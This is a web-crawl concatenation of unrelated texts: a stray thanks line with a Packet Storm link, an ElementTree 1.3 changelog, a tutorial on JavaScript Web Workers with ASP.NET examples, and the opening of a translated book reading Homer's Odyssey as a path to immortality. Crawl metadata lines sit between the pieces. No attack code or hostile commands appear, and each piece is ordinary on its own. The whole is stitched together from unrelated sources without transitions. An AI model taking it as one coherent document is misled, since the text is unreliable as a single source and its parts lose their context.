Special Thanks To: Theo de Raadt | http://packetstormsecurity.org/files/19340/cpio.08.97-08-03.dos_identd.html | crawl-003 | refinedweb | 549 | 57.47 |
Changes in ElementTree 1.3 (preliminary)
Welcome to effbot.org!
This page describes the changes that will take place in the next ElementTree release.
You can get ElementTree development releases from the public subversion repository.
Changes from release 1.2 to 1.3 #
The library requires Python 2.2 or newer (this may change to 2.3 before release).
Additions #
The Element class now has an extend method.
The Element class now has an iter method; this replaces the old getiterator method.
The Element class now has an itertext method; this yields all inner text parts (that is, the text attribute for the element itself, and the text and tail attributes for all subchildren, in document order).
The Element factory is now a class; you can inherit directly from Element, if you want.
The path syntax now supports attibute predicates (tag[@attrib]).
The XMLParser class allows you to override the XML file encoding.
All parser functions (parse, iterparse, XML, XMLID, fromstring, etc) take an optional parser argument.
The E element builder class may be added.
The write method has two new options; xml_declaration controls if an XML declaration should be included, default_namespace controls whether a default namespace should be used.
Removed and Deprecated Features #
XMLTreeBuilder has been deprecated, use XMLParser instead.
getiterator has been deprecated, use iter instead.
getchildren has been deprecated, use direct iteration over the container instead. getchildren now gives a warning. The method will be removed in future versions.
“if elem” works as before, but now gives a warning; for portability, use explicit tests (“if len(elem)” or “if elem is not None”). The behaviour may change in future versions.
The SgmlopTreeBuilder module has been removed; for maximum performance, use cElementTree instead. You can use cElementTree’s parser with ElementTree; see below.
The SimpleXMLTreeBuilder module has been removed.
The XMLTreeBuilder module has been removed. For detailed namespace access, use iterparse instead.
Performance #
The serializer is now about twice as fast on common examples. Also, the serializer now puts all namespace declarations on the topmost element.
If you have cElementTree 1.0.6 or later, you can speed up parsing by replacing ElementTree’s XMLParser class with the one from cElementTree:
import elementtree.ElementTree as ET import cElementTree # use cET to build element trees ET.XMLParser = cElementTree.XMLParser | http://www.effbot.org/zone/elementtree-changes-13.htm | CC-MAIN-2018-17 | refinedweb | 380 | 52.46 |
7 Things You Need To Know About Web Workers
Introduction
Web Workers allow you to run JavaScript code in the background without blocking the web page user interface. Web workers can improve the overall performance of a web page and also enhance the user experience. Web workers come in two flavors - dedicated web workers and shared web workers. This article discusses seven key aspects of web workers that you need to know if you decide to use them in your applications.
1. Web Workers Allow You to Run JavaScript Code in the Background
Typically the JavaScript code that you write in a web page executes in the same thread as the user interface. That's why when you click on a button that is supposed to trigger some lengthy processing, the web page user interface freezes. Unless the processing is complete you can't work with the user interface. Web workers allow you to execute JavaScript in the background so that the user interface remains responsive even if some script is being executed. The background thread in which this script is executed is often called a worker thread or worker. You can spawn as many workers as you wish. You can also pass data to the script being executed in the worker threads and also return value to the main thread upon completion. There are, however, some restrictions on the web workers as listed below:
- Web workers can't access DOM elements from the web page.
- Web workers can't access global variables and JavaScript functions from the web page.
- Web workers can't call alert() or confirm() functions.
- Objects such as window, document and parent can't be accessed inside the web worker.
2. Web Workers Come in Two Types
Web workers come in two types: dedicated web workers and shared web workers. Dedicated web workers come into existence and die along with a web page that created them. That means a dedicated web worker created in a web page can't be accessed by multiple web pages. On the other hand, shared web workers are shared across multiple web pages. The Worker class represents a dedicated web worker whereas the SharedWorker class represents a shared web worker.
In many cases, dedicated web workers fulfill your needs. That's because usually you need to execute a web page specific script in a worker thread. Sometimes, however, you many need to execute a script inside a worker thread that is common to more than one web page. In such cases instead of creating many dedicated web workers, one in each page, you may go for shared web workers. A shared web worker created by a web page remains available to other web pages. It gets destroyed only when all the connections to it are closed. Shared web workers are a bit more complex to code than dedicated web workers.
3. Worker Object Represents a Dedicated Web Worker
Now that you know basics of web workers, let's see how to use dedicated web workers. The example discussed below assumes that you have created a web application using your favorite development tool and have also added jQuery and Modernizr libraries into its Script folder. Add an HTML page to the web application and key-in the following code to it:
<!DOCTYPE html> <html xmlns=""> <head> <title></title> <script src="scripts/modernizr.js"></script> <script src="scripts/jquery-2.0.0.js"></script> <script type="text/javascript"> $(document).ready(function () { if (!Modernizr.webworkers) { alert("This browser doesn't support Web Workers!"); return; } $("#btnStart").click(function () { var worker = new Worker("scripts/lengthytask.js"); worker.addEventListener("message", function (evt) { alert(evt.data); },false); worker.postMessage(10000); }); }); </script> </head> <body> <form> <input type="button" id="btnStart" value="Start Processing" /> </form> </body> </html>
The above HTML page consists of a button (btnStart) that triggers some JavaScript processing. Notice that the web page has references to the Modernizr and jQuery libraries. The <script> block consists of the ready() method handler that in turn handles the click event of btnStart. The ready() handler first checks whether the browser supports web workers or not. This is done using Modernizr's webworkers property. If the browser doesn't support web workers, an error message is displayed to the user.
The code then wires the click event handler of btnStart. The click event handler code is important because it uses a Worker object to run a script in the background. The click event handler creates a Worker object and stores it in a local variable - worker. The path of the JavaScript file that is to be executed in the background is passed in the constructor. You will create LengthyTask.js shortly. Then, the code adds an event handler for the message event of the Worker object. The message event is raised when the target script (LengthyTask.js in this case) sends some value back to the web page. The message event handler function can access this returned value using evt.data property. Finally, the postMessage() method is called on the Worker object to trigger the execution of LengthyTask.js. The postMessage() method also allows you to pass data to the target script. In this example a number (10000) is passed to postMessage() that indicates the number of milliseconds for which the processing should continue. You could have pass any other data in the postMessage() call such as a JavaScript object or a string.
The LengthyTask.js file contains the code that is to be executed in the background and is shown below:
addEventListener("message", function (evt) { var date = new Date(); var currentDate = null; do { currentDate = new Date(); } while (currentDate - date < evt.data); postMessage(currentDate); }, false);
The above code handles the message event of the worker thread. The message event is raised when the main page calls the postMessage() method on the Worker object. The message event handler mimics a lengthy processing by running a do-while loop for certain milliseconds. The number of milliseconds for which this loop runs is passed from the main page (recollect the postMessage() discussed earlier). Thus evt.data returns 10000 in this example. Once the lengthy operation is complete the code calls postMessage() to send the result of processing back to the main page. In this example, the value of currentDate is passed (currentDate is a Date object).
If you run the main web page and click on the Start Processing button, you will get an alert() after 10 seconds. In the mean time the user interface of the page is not blocked and you can perform operations such as scrolling, clicking etc. indicating that the code from LengthyTask.js is running in the background.
4. SharedWorker Object Represents a Shared Web Worker
The preceding example uses a dedicated web worker. Let's convert the same example to use a shared web worker. A shared web worker is represented by SharedWorker object. The following code shows the modified version of the code from the main page:
$(document).ready(function () { if (!Modernizr.webworkers) { alert("This browser doesn't support Web Workers!"); return; } $("#btnStart").click(function () { var worker = new SharedWorker("scripts/sharedlengthytask.js"); worker.port.addEventListener("message", function (evt) { alert(evt.data); }, false); worker.port.start(); worker.port.postMessage(10000); }); });
Notice the code marked in bold letters. It creates an instance of SharedWorker and passes SharedLengthyTask.js in the constructor. You will create this file shortly. The code then wires the message event handler to the port object of the SharedWorker object. The message handler function does the same job as in the preceding example. Then the code calls start() method on the port object. Finally, postMessage() method is called on the port object to send data (10000) to the shared worker thread.
The SharedLengthyTask.js file contains the following code:
var port; addEventListener("connect", function (evt) { port = evt.ports[0]; port.addEventListener("message", function (evt) { var date = new Date(); var currentDate = null; do { currentDate = new Date(); } while (currentDate - date < evt.data); port.postMessage(currentDate); }, false); port.start(); }, false);
The code begins by declaring a variable named port for storing a reference of a port object. This time two events are handled - connect and message. The connect event is raised when a connection is being made to the shared web worker. The connect event handler grabs evt.port[0] object and stores it in the port variable declared earlier. It then wires the message event handler on the port object. The start() method of the port object is called to start listening for a message at that port. The message event handler is almost identical to the one you wrote in the preceding example except that it is attached to the port object. Also, postMessage() is called on the port object to send the result of processing to the main page.
5. Web Workers can use XMLHttpRequest to Communicate with the Server
At times a web worker may need to talk with the web server. For example, you may need data residing in some RDBMS for your client side processing. To accomplish such tasks you can use XMLHttpRequest object to make requests to server side resources. The overall process of instantiating a Worker object and handling of the message event remains the same. However, you need to make a GET or POST request to a server side resource. Consider the following code that illustrates how this can be done:
addEventListener("message", function (evt) { var xhr = new XMLHttpRequest(); xhr.open("GET", "lengthytaskhandler.ashx"); xhr.onload = function () { postMessage(xhr.responseText); }; xhr.send(); }, false);
The code shown above creates an instance of XMLHttpRequest object. It then calls open() method and specifies that a GET request be made to a server side resource LengthyTaskHandler.ashx, an ASP.NET generic handler. (Although this example uses an ASP.NET generic handler, you can use any other server side resource.). It then handles the load event of XMLHttpRequest object and calls postMessage(). The xhr.responseText acts as the parameter for postMessage(). The xhr,responseText will be the value returned by the ASP.NET generic handler as the response. The load event is raised when the request is completed.
The LengthyTaskHandler.ashx contains the following code:
namespace WebWorkersDemo { public class LengthyTaskHandler : IHttpHandler { public void ProcessRequest(HttpContext context) { System.Threading.Thread.Sleep(10000); context.Response.ContentType = "text/plain"; context.Response.Write("Processing successful!"); } public bool IsReusable { get { return false; } } } }
As you can see the ProcessRequest() mimics some lengthy processing by calling Sleep() method on the Thread class and blocks the execution for 10 seconds. Then it returns a success message "Processing successful!" to the caller. If you run the main web page after making these changes you will find that after 10 seconds an alert dialog is displayed with this success message.
6. You can Trap Unhandled Errors Using Error Event
If your web worker is doing some complex operation you may want to add error handling to the main web page code so that in case of any unhandled errors inside the worker an appropriate action can be taken. This can be done by handling the error event of the Worker object. The error event is raised whenever there is any unhandled error in the worker thread. The following code shows how this can be done:
$("#btnStart").click(function () { var worker = new Worker("scripts/lengthytask.js"); worker.addEventListener("message", function (evt) { alert(evt.data); }, false); worker.addEventListener("error", function (evt) { alert("Line #" + evt.lineno + " - " + evt.message + " in " + evt.filename); }, false); worker.postMessage(10000); });
As you can see from the above code an error handler has been wired to the error event of the worker object. The error handler function receives an event object that provides error information such as line number at which the error occured (evt.lineno), error message (evt.message) and file in which the error occured (evt.filename).
7. You can Terminate a Worker Using Terminate() Method
At times you may want to cancel the task being executed in a worker. To do so you can destroy a Worker by calling its terminate() method. Once a Worker is terminated you can't reuse or restart it. Of course, you can always create another Worker instance and use it. Remember, however, that terminate() immediately kills the worker and you don't get any chance to perform cleanup operations.
Summary
Web workers allow you to execute a script in the background without freezing the web page user interface. They come in two types - dedicated web workers and shared web workers. A dedicated web worker is created per web page basis whereas a shared web worker is shared across multiple web pages. The Worker class represents a dedicated web worker and SharedWorker class represents a shared web worker. This article illustrated how both of these types can be used. It also discussed how errors can be handled and how web workers can talk with the web server using XMLHttpRequest.
| http://www.developer.com/lang/jscript/7-things-you-need-to-know-about-web-workers.html | CC-MAIN-2014-35 | refinedweb | 2,143 | 65.93 |
I have to write a program that repeats a sentence over a hundred times which also contains 8 random typos and have to have each sentence numbered.
the sentence is: I will never spam my friends again
the program's output should be
- I will never spam my friends again.
I will never spam my friends again.
etc.
import java.util.Scanner; import java.lang.String; public class spam { public static void main(String[] args) { int i; int k; for(i = 0; i < 100; i++) { String spam = "I will never spam my friends again"; System.out.println(spam); } } } }
Now I know this isn't much, but what I would like to know is where I should go about. I'm not asking you to do my homework, but exactly how I should go about this, I haven't done java in several years, and I'm still a beginner with programming. I'm thinking that the string should be an array and then the array can be read through and then change some things around as the sentence repeats right? I guess that would be best, but it'd be hard because I'm horrible at arrays and I'm completely stumped as to how to number each iteration in increasing order | https://www.daniweb.com/programming/software-development/threads/462816/looped-sentence-program | CC-MAIN-2017-09 | refinedweb | 212 | 74.93 |
[flexcoders] Accessing an object within an array
I've got an mxml component that I've created. Below is a simple code sample of what I'm experiencing... Basically I've got a component creating an array of another component. All code hinting was working great for a while. Then, for no apparent reason it stopped working. Now I can still
RE: [flexcoders] Accessing an object within an array
Ah. I found a better way to handle this after all this time I spent on it... I assigned a for each loop and modified the object that was assigned to the individual array object. From: flexcoders@yahoogroups.com [mailto:flexcod...@yahoogroups.com] On Behalf
[flexcoders] Re: RadioButton as DataGrid item editor
--- In flexcoders@yahoogroups.com, Dave Glasser dglas...@... wrote: --- On Fri, 6/25/10, Amy amyblankens...@... wrote: What is your itemRenderer code? I'm just using the RadioButton, out of the box. I'm setting the itemRenderer property on the DataGridColumn to new
RE: [flexcoders] Accessing an object within an array
In such a case you cant have code hinting. Cause you are accessing stuff of array not its properties or method. Also your code wrong i think declare ARRAY in that way always var a:Array = []; Also what are you trying to do in the loop its not clear. Day var should declare here first if i
[flexcoders] Powerflasher FDT4 M3 Live Preview
I think you might be particularly interested! The FDT team is giving a preview of the FDT4 Milestone 3 live release at 9:00am (PST) on Tue, Jun 29, 2010 Live Broadcast on: This milestone release is dedicated to Flex 4 and includes support for the new
[flexcoders] How to print full content of TextArea component
Hello everyone, The print() function listed below prints only the visible area of the TextArea component. But, I want to print full contents of the TextArea. private function print():void{ var printResult:PrintJob = new PrintJob(); var output:Sprite = new Sprite(); var
Re: [flexcoders] Re: RadioButton as DataGrid item editor
Thanks! --- On Sat, 6/26/10, Amy amyblankens...@bellsouth.net wrote: From: Amy amyblankens...@bellsouth.net Subject: [flexcoders] Re: RadioButton as DataGrid item editor To: flexcoders@yahoogroups.com Date: Saturday, June 26, 2010, 9:25 AM --- In flexcoders@yahoogroups.com, Dave
[flexcoders] line returns in a tooltip field
I'm scratching my head on this one... Can't be any more simple than it is... I'm trying to set/format the toolTip on a dataGrid so that there's multiple lines in the toolTip. On the dataGrid I have toolTip=This is
Re: [flexcoders] line returns in a tooltip field
In flex 4 this works: mx:DataGrid id=b2 width=100 toolTip=Click this button #13; to submit the form./
[flexcoders] Random Erro 2046
I posted this to the adobe forumes several days ago and have not gotten a response. Is anyone else having this problem?: Ever since I upgraded to flashplayer 10 and Flex 4 I have been getting random error 2046 on my Linux system. I am using no RSL's in my application. I am using the open
[flexcoders] TitleWindow titleBar with rollover state.
Hi everyone, Has anyone ever need to use TitleWindow as a pop up where the background colour of the titleBar changes colour when the user hovers the mouse pointer over the title bar? I tried to use a custom ActionScript background skin, but to no success. When I base my custom skin on
[flexcoders] Re: ItemEditor | maxCharacters
I created itemeditor public class TextInputFieldEditor extends TextInput { private var _listData:BaseListData; private var _dataGrid:CheckBoxDataGrid; private var _dataField:String; private var _columnIndex:int;
[flexcoders] textinput blur event
I've tried many different types of events to trigger a blur when the user leaves the text box it runs my event but nothing seems to work. Anyone done this before? private function init():void{ VIN.addEventListener(FlexEvent.VALUE_COMMIT, lookupvehicle); //FocusEvent.FOCUS_OUT
Re: [flexcoders] Get all styles at runtime of specific component [2 Attachments]
So there are two parts to this. I'm reiterating your replies: 1. Get a reference to a component at runtime via code and providing a list of all applicable styles just like design time displays in the property inspector. A: this is not possible to get all the styles of a component unless the
[flexcoders] Compile Modules in AIR Project
I have a windowedApplication (FB4; AIR 2). I create modules, they are listed as modules in the Project Properties. However, they don't compile to SWF files when I compile the application. The modules aren't compiled when I export it to an AIR installer file either. What am I missing?
Re: [flexcoders] Get all styles at runtime of specific component
Good question, ask on the FlexBuilder forum. On 6/26/10 8:28 PM, dorkiedorkfromdorkt...@gmail.com dorkiedorkfromdorkt...@gmail.com wrote: [Attachment(s) #TopText from dorkie dork from dorktown included below] So there are two parts to this. I'm reiterating your replies: 1. Get a
Re: [flexcoders] Re: ItemEditor | maxCharacters
You may need to call super.listData On 6/26/10 5:52 PM, Rajan ilikef...@yahoo.com wrote: I created itemeditor public class TextInputFieldEditor extends TextInput { private var _listData:BaseListData; private var _dataGrid:CheckBoxDataGrid; private var _dataField:String; private var | https://www.mail-archive.com/search?l=flexcoders%40yahoogroups.com&q=date:20100626&o=newest | CC-MAIN-2021-21 | refinedweb | 881 | 56.25 |
A while ago, I stumbled over a component called DFPlayer. It's a tiny component that allows to play mp3 from an micro SD card (for less that 10€!)....
Since I was sick of using my smartphone as an alarm clock just to have music to wake me, I decided to build an alarm clock with it.
Step 1: Required Components
- 1x DFPlayer (7,80 Euro)
- 1x Arduino UNI (20 Euro)
- 1x LCD Display (20x4, ~10 Euro)
- 4x 10k Resistors
- 2x 1k Resistors
- 1x 10k Poti
- 1x Rotary Encoder (1,50 Euro)
- 3x Push Buttons
- 1x Visaton FRS 8 Speaker (10 Euro)
- Some cables for wiring and circuit board(s)
Additionally you may want an adjusting knob for the rotary encoder, a frame for the display and a case. My father made an oak case for me which looks pretty nice.
Step 2: Arduino Setup
- Connect the Arduino via USB to your PC.
- Make sure that you have the Arduino IDE installed.
- Download the .ino the attached .ino file and the additional 3x zip files
The Arduino IDE provides a wizard where can select the zip file to include a new library.(Sketch -> Include Libraries ...): Install all 3x libraries using this wizard
The .ino file should compile now and you can upload it to your arduino.
Step 3: Wire Components
Before soldering everything together, I recommend using a breadboard to prototype everything.
I created a fritzing image to help with that. You should check the correct wiring of the DFPlayer by using the provided link. You can find a description of the DFPlayer's pins there, but assuming the 5V+ pin is in the upper left corner, the wiring should match as shown on the picture.
Step 4: Build Everything Into the Case
The step varies depending on what case you have chosen to use. I've added some pictures here to show the steps I've done to wire everything into my oak case. I decided to build smaller circuits on smaller circuit boards to have checkpoints where I can verify that everything is still working.
19 Discussions
2 years ago
Ups, my fault. I build this clock a year ago so excuse me if I forgot something.
You have to install the timer library.
How To:
Download:
The Arduino IDE also provides a wizard where can select the zip file to include a new library.(Sketch -> Include Libraries ...)
Reply 2 years ago
Thanks for a quick reply, I managed to upload your code, however I'm experiencing another problem. After wiring my lcd according to arduino, all I get on display are 2 rows of blocks (no characters) and no illumination. I checked the specification for my lcd here
And I can tell that the backlight pins are 15 and 16, whereas pin 15 on your diagram goes to arduino and does something else I presume.
I assume that other pins will be different too.
I'd appreciate it if you can help me out here, otherwise I'll just give up with this project.
Reply 2 years ago
I compared the datasheet with the one I used:...
From what I can see the pins are the same. I recommend to prototype the lcd without any other components. I used the Adafruit tutorial for this:...
The first step is to get the backlight running, so I hope this will help you.
1 year ago
This is a simple yet beautiful project. I love it! :3
1 year ago
anyone can confirm this instructable works?
building it atm, got the screen working but using some old parts...
so would be nice if someone can confirm and i have to check parts
had it working but started up and it was frozen in ouhr menu, now i fried my 10k pot ;-p
waiting for parts
1 year ago
Hi, Time.h attached to this tutorial is outdated. The new one can be found here:
2 years ago
Hi again, Ive been trying to upload your program to my Arduino and it keeps saying
Arduino: 1.6.8 (Windows 7), Board: "Arduino/Genuino Uno"
C:\Users\Golomp\Desktop\mephisto_V\mephisto_V.ino:3:19: fatal error: Timer.h: No such file or directory
#include "Timer.h"
^
compilation terminated.
exit status 1
I installed some Time library but it hasnt resolved the issue.
Also I see that you have included a
#include <DFPlayer_Mini_Mp3.h> Library, where do I get it from?
Sorry to be a pain, I'm not a programmer so I dont have a clue.
Thanks!
2 years ago
To be honest, I can only guess since I only have some basic skills and I had to play around with rotary encoders a lot before I got a successful combination of code and hardware. My approach would be to connect the rotary encoder to the arduino and play around with the connections. Create a separate sketch for it using this logic:
/**
* The rotary encoder implementation
*/ == 13 || sum == 4 || sum == 2 || sum == 11) encoderValue ++;
if(sum == 2) encoderValue --;//skip updates
//if(sum == 14 || sum == 7 || sum == 1 || sum == 8 ) encoderValue --;
if(sum == 1) encoderValue ++;//skip updates
}
Use the Serial.print to log the encoderValue and check if it is working as expected (I had to google this code, but can't remember where I got it).
2 years ago
Hi, I'm preparing to make this mp3 player, I have almost all needed parts. I'm just wondering how to connect my encoder as it seems to have a different pinout than yours. Here is the eBay auction number
181956049541
Many thanks in advance.
2 years ago
Are these momentary switch buttons or latch switch?
Reply 2 years ago
Momentary switch buttons, this one:;jsessionid=07DD185D114B945F9143B6859DBF3877.ASTPCEN23?search=2050000219405&searchType=mainSearchBar
2 years ago
Is it possible to use a potentiometer instead of a rotary encoder?
Reply 2 years ago
Technically yes, but I wouldn't recommend it. It is just to complicate to use the position of the potentiometer to calculate the current input value.
2 years ago
Does the microSD go in the back? or do you have to take it apart to put one in. Either way I love this project.
Reply 2 years ago
There is one photo of the last step where you can see a small opening on the back. This is where you can access the sd card. The dfplayer has a little spring inside the sd slot, so it jumps out.
A little bit of a hassle though: the mp3 files on the SD card must be numbered, starting with 0001_.., 0002_... etc. I've written a small program that renames the mp3 files I've selected automatically before I copy them on the SD.
2 years ago
the 10K pot is for dimming the screen i assume?
Reply 2 years ago
Yes, its for dimming the screen. I followed the adafruit tutorial for wiring lcds.
2 years ago
It looks so professional! Nice job!
Reply 2 years ago
Thanks! | https://www.instructables.com/id/Arduino-MP3-Alarm-Clock/ | CC-MAIN-2018-51 | refinedweb | 1,166 | 73.07 |
Investors in Spotify Technology SA (Symbol: SPOT) saw new options begin trading this week, for the April 2021 SPOT options chain for the new April 2021 contracts and identified one put and one call contract of particular interest.
The put contract at the $270.00 strike price has a current bid of $39.60. If an investor was to sell-to-open that put contract, they are committing to purchase the stock at $270.00, but will also collect the premium, putting the cost basis of the shares at $230.40 (before broker commissions). To an investor already interested in purchasing shares of SPOT, that could represent an attractive alternative to paying $273.35/share today.
Because the $270.78% annualized — at Stock Options Channel we call this the YieldBoost.
Below is a chart showing the trailing twelve month trading history for Spotify Technology SA, and highlighting in green where the $270.00 strike is located relative to that history:
Turning to the calls side of the option chain, the call contract at the $280.00 strike price has a current bid of $39.20. If an investor was to purchase shares of SPOT stock at the current price level of $273.35/share, and then sell-to-open that call contract as a "covered call," they are committing to sell the stock at $280.00. Considering the call seller will also collect the premium, that would drive a total return (excluding dividends, if any) of 16.77% if the stock gets called away at the April 2021 expiration (before broker commissions). Of course, a lot of upside could potentially be left on the table if SPOT shares really soar, which is why looking at the trailing twelve month trading history for Spotify Technology SA, as well as studying the business fundamentals becomes important. Below is a chart showing SPOT's trailing twelve month trading history, with the $280.00 strike highlighted in red:
Considering the fact that the $280.34% boost of extra return to the investor, or 22.27% annualized, which we refer to as the YieldBoost.
The implied volatility in the put contract example is 51%, while the implied volatility in the call contract example is 52%.
Meanwhile, we calculate the actual trailing twelve month volatility (considering the last 251 trading day closing values as well as today's price of $273.35) to be 49%. For more put and call options contract ideas worth looking at, visit StockOptionsChannel.com.
The views and opinions expressed herein are the views and opinions of the author and do not necessarily reflect those of Nasdaq, Inc. | https://www.nasdaq.com/articles/first-week-of-april-2021-options-trading-for-spotify-technology-2020-08-24 | CC-MAIN-2022-27 | refinedweb | 436 | 63.9 |
Are you sure?
This action might not be possible to undo. Are you sure you want to continue?
HYPOTHESES ON ULYSSES
A new look at Homer’s Odyssey
1
Published by The SOLARIS INSTITUTE of The SOPHIA UNIVERSITY OF ROME. (S.U.R.)
Original title: Ipotesi su Ulisse
Translated from Italian by Martha S. Bache-Wiig 2009, authorized by the Author.
2
ANTONIO MERCURIO
HYPOTHESES ON ULYSSES
This book presents a new way of interpreting the Odyssey that is ingenious, beautiful and elegant. It is an interpretation based on the theory of Cosmo-Art, which unites heaven and earth, life and death, men and women, pain and wisdom;and it reveals the profound meaning of Homer’s ideas on how to reach immortality through the creation of secondary beauty, which is the result of a fusion of cosmic and human forces. The Odyssey is the greatest love story that has ever been told in the history of world literature. It is based not on love and death (like the love between Romeo and Juliette, or between Paolo and Francesca), but on love and immortal beauty; a type of love that can win over death forever, and a type of beauty that is created only when a man and a woman manage to produce glorious concordance, after much suffering and after developing a great willingness to be daring.
3
To all those who want to possess their own lives instead of being possessed by others, so they can follow the sense of cosmic purpose that guides them and transform their lives into immortal beauty.
5
Table of Contents
Notes from the translator:........................................................................................ 4 INTRODUCTION ........................................................................................................11 CHAPTER I: BEYOND THE SIEGE AND THE RETURN, OR THE ROAD TO IMMORTALITY ACCORDING TO ULYSSES .......................................................................................15 CHAPTER II: DISCOURSE ON BEAUTY .........................................................................................18 CHAPTER III: VISIBLE AND INVISIBLE BEAUTY ............................................................................22 CHAPTER IV: TELEMACHUS AND ULYSSES ..................................................................................30 CHAPTER V: FROM THE MATERNAL TO THE PATERNAL AND FROM THE EARTH TO THE COSMOS ..................................................................................................................33 CHAPTER VI: THE SYNTHESIS OF OPPOSITES, BEAUTY AND IMMORTALITY ...............................37 CHAPTER VII: AN OUTLINE OF ONE POSSIBLE VIEW OF THE ODYSSEY AS AN ALCHEMICAL PROCESS WITH A COSMIC PURPOSE ......................................................................39 CHAPTER VIII: ULYSSES ACCEPTS ZEUS’ REQUEST TO CREATE NEW BEAUTY BY EXTRACTING IT FROM WISDOM, PAIN AND ART ...............................................................................44
6
CHAPTER IX: THE FIRST ULYSSES AND THE SECOND ULYSSES .................................................46 CHAPTER X: THE PACT TO CREATE BEAUTY...............................................................................48 CHAPTER XI: THE BEAUTY OF LIFE ..............................................................................................52 CHAPTER XII: THE PERSONAL SELF AND THE COSMIC SELF .......................................................54 CHAPTER XIII: THE INTERNAL MONSTERS .....................................................................................57 CHAPTER XIV: THE LABYRINTH OF THE DEVOURING MOTHER .....................................................60 CHAPTER XV: REPRESSED HATRED, AN UNEXPLORED REALITY..................................................63 CHAPTER XVI: CIRCE, CALYPSO AND IMMORTALITY ......................................................................71 CHAPTER XVII: THE SIRENS AND INTRAUTERINE INCEST...............................................................74 CHAPTER XVIII: ULYSSES AND THE IMPACT WITH SCYLLA ..............................................................78 CHAPTER XIX: ULYSSES AS A TEACHER OF LIFE AND OF WISDOM...............................................80 CHAPTER XX: THE STRUCTURE OF THE GLOBAL I ........................................................................83
7
CHAPTER XXI: THE FIVE POISONS ACCORDING TO BUDDHA AND ACCORDING TO HOMER ........88 CHAPTER XXII: WHY DOES HOMER CHOOSE ULYSSES?.................................................................97 CHAPTER XXIII: THE PRAYER OF THE ULYSSEANS......................................................................... 108 CHAPTER XXIV: REFLECTIONS ON HADES ..................................................................................... 131 CHAPTER XXV: THE HYBRIS OF ULYSSES ..................................................................................... 135 CHAPTER XXVI: THE OX-SKIN OF WINDS AND THE POISON OF ENVY ........................................... 146 CHAPTER XXVII: A CLOSER LOOK AT ENVY ..................................................................................... 150 CHAPTER XXVIII: THE SUN GOD’S CATTLE AND ULYSSES’ GREED .................................................. 157 CHAPTER XXIX: MORE ABOUT ENVY .............................................................................................. 160 CHAPTER XXX: GREED AND ENVY .................................................................................................. 163 CHAPTER XXXI: GREED AS THE CAUSE OF HUMANITY’S SUFFERING ........................................... 168 CHAPTER XXXII: THE PAIN OF OUR TRIALS ..................................................................................... 170
8
CHAPTER XXXIII: THE ISLAND OF THE PHAEACIANS........................................................................ 175 CHAPTER XXXIV: WHO ARE THE PHAEACIANS, ANYWAY? ................................................................ 183 CHAPTER XXXV: ULYSSES, FROM POWERLESSNESS TO HUMILITY THAT IS THE OPPOSITE OF HYBRIS. ................................................................................................................. 186 CHAPTER XXXVI: FROM POWERLESSNESS TO VIRILE PERSONAL POWER BEFORE THE DEVOURING MOTHER ................................................................................................................ 191 CHAPTER XXXVII: THE SUITORS ........................................................................................................ 193 CHAPTER XXXVIII: THE SUITORS AND THE POISON OF ARROGANT DEMANDS ................................. 203 CHAPTER XXXIX: FROM VIOLENCE TO NON-VIOLENCE ................................................................... 211 CHAPTER XL: ULYSSES AND PENELOPE ..................................................................................... 214 CHAPTER XLI: CONCORDANCE AND IMMORTALITY ...................................................................... 221 CHAPTER XLII: MORE ON THE STORY OF THE ODYSSEY THAT ULYSSES TELLS PENELOPE ....... 225 CHAPTER XLIII: COMPLICITY AND ARROGANT DEMANDS .............................................................. 227
9
CHAPTER XLIV: ULYSSES AND POSEIDON...................................................................................... 230 CHAPTER XLV: CHARYBDIS AND THE FIG AS THE WORLD’S AXIS................................................ 240 CHAPTER XLVI: THERE ONCE WAS A MAN WHO WANTED TO FLY................................................. 247 CHAPTER XLVII: ALCHEMY AND COSMO-ART.................................................................................. 251 Acknowledgements.............................................................................................. 253 OTHER BOOKS BY THE SAME AUTHOR .......................................................... 256
10
INTRODUCTION I am deeply convinced that Homer composed the Odyssey to tell his contemporaries, as well as those from future generations, that the gods are not immortal divinities. Rather, they are only symbolic representations of cosmic and human spiritual forces, and the meaning of a human life lies in the ability to unite these forces and create immortal beauty for the individual and for the entire Universe. He came to this conclusion centuries before the pre-Socratic philosophers did. On reading the Odyssey, I formulated the following hypotheses on Ulysses and on the Odyssey that can help illuminate Homer’s thought: a. This fusion of cosmic and human forces can create a truly immortal beauty, a beauty so great that the beauty of Aphrodite or Ares is only a pale shadow of it, worthy only of the derision of the gods. The meaning of life - the life of the cosmos and of human beings - is found in the creation of this supreme type of beauty, and not in the military glory expounded upon by Homer in the Iliad. Great courage is required to create this fusion between cosmic and human forces, courage even greater than that shown in military battle; much suffering must be faced and overcome, not as victims, but as artists capable of creating beauty that does not yet exist by extracting energy from pain, from guilt and from the continuous transformation of one’s self. The struggles that Ulysses faces during his voyage home to Ithaca is a great metaphor that describes, in poetic form, the spiritual alchemical process that a man and a woman can undergo so as to meld into “a single soul”. This can then create a type of immortal life that is immensely superior to the earthly life that we all have. It is not possible to create this type of superior and immortal life without operating on the earthly level where humans, not the gods, live. Not only human beings but also the entire cosmos wants immortality; the cosmos, however, even with all of its potent energies, can never create the immortality it longs for without the collaboration of men and women. Humanity would not long for immortality if the cosmos had not placed this aspiration within us. The immortality that writers and poets attributed to the Olympian gods is a false immortality that does not hold up through the ravages of time. This is why Ulysses refuses to accept the
b.
c.
d.
e.
f.
11
immortality that the sovreign goddesses Circe and Calypso offer him if he consents to marry them. g. Terrible, negative forces violently oppose the positive, spiritual cosmic and human forces. These negative forces create interminable obstacles within the process of fusing cosmic and human energies. The god Poseidon on one hand (the cosmic side), and the Suitors on the other (the human side), are powerful symbols that Homer uses to portray the dark negative forces. At the end, however, the Suitors are exterminated and Poseidon is forced to surrender before the positive forces that are at work. If we look closely, both Poseidon and the Suitors, although against their will, play a role that actually favors the positive forces. Both are necessary to reach the cosmic goal. The “sacred wedding” between the cosmos and humanity (represented by Ulysses and Penelope) most certainly will take place and from this union a new form of life will be created that is made up of true immortality and indestructible beauty. Whereas the Eleusinian Mysteries and the Orphic Mysteries – whose adepts also aimed at achieving immortality – have remained veiled in mystery and their secret rites died along with the death of their adepts, it will not be so for Ulysses’ path to immortality. This is because the instructions to follow it are found between the lines of Homer’s poem. One must only read the poem and meditate carefully on its meaning; these instructions can be understood by anyone and can are available to all who care to find them. Zeus, the father of the gods and of men, is the axis of the world. He has all the wisdom and intelligence necessary to guide the universe and humanity towards the goal of the creation of supreme beauty. Athena and Hermes are the gods who act as messengers between Zeus and humanity. This wisdom is available to all, even to those who are about to commit a crime (Aegisthus, for example). Each person is free to welcome it, by listening to one’s heart, or to refuse it, by closing themselves off from what they 